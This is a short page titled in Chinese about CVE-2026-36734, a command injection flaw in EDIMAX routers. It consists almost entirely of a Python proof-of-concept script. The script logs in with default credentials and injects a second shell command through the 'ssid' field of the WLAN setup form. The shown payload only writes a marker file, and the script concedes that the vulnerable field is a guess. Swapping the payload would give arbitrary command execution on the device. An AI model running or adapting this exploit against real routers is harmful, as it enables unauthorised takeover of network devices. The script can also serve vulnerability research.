CVE-2026-36734 EDIMAX路由器命令注入漏洞

#!/usr/bin/env python3 """POC for CVE-2026-36734 - EDIMAX Command Injection""" import requests # Target configuration TARGET_IP = "192.168.1.1" USERNAME = "admin" PASSWORD = "password" def exploit(): session = requests.Session() # Step 1: Authenticate (Low privilege required) login_url = f"http://{TARGET_IP}/login" login_data = {"user": USERNAME, "pwd": PASSWORD} session.post(login_url, data=login_data) # Step 2: Send payload to WLAN configuration # Injecting a command to echo a specific string to verify execution # Example payload: ; echo "CVE-2026-36734_POC" > /tmp/poc.txt payload = "; echo CVE-2026-36734_POC > /tmp/poc.txt" exploit_url = f"http://{TARGET_IP}/goform/wlanBasicSetup" # The vulnerable field might be 'ssid' or similar based on the description data = { "ssid": "TestNetwork" + payload, "action": "Apply" } try: response = session.post(exploit_url, data=data) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Check /tmp/poc.txt on the device to verify command execution.") else: print(f"[-] Failed to send payload. Status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit()